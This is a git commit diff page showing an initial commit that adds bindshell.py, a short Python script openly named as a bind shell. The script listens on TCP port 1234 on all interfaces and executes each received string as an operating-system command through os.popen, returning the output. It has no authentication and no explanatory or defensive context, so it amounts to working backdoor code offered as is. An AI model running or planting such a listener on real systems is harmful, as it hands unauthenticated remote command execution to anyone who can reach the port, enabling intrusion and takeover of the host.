diff options
| author | jerome <jerome@xlinfo.fr> | 2023-12-18 00:02:09 +0100 |
|---|---|---|
| committer | jerome <jerome@xlinfo.fr> | 2023-12-18 00:02:09 +0100 |
| commit | a1203ccb343703ba5ae522254f75b6384a1831a7 (patch) | |
| tree | c54e1e6cf0da29170419b2fd9880ff6dcea28742 /bindshell.py | |
| download | python-a1203ccb343703ba5ae522254f75b6384a1831a7.tar.gz python-a1203ccb343703ba5ae522254f75b6384a1831a7.zip | |
depĂ´t initial
Diffstat (limited to 'bindshell.py')
| -rw-r--r-- | bindshell.py | 16 |
1 files changed, 16 insertions, 0 deletions
diff --git a/bindshell.py b/bindshell.py new file mode 100644 index 0000000..faa014d --- /dev/null +++ b/bindshell.py @@ -0,0 +1,16 @@ +#!/usr/bin/env python3 +import socket,os + +try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.bind(('', 1234)) + s.listen() + conn,addr = s.accept() + while 1: + data = conn.recv(1024) + reponse=os.popen(data.decode()).read() + conn.sendall(str(reponse).encode()) +except KeyboardInterrupt: + s.close() +finally: + print("bye") |
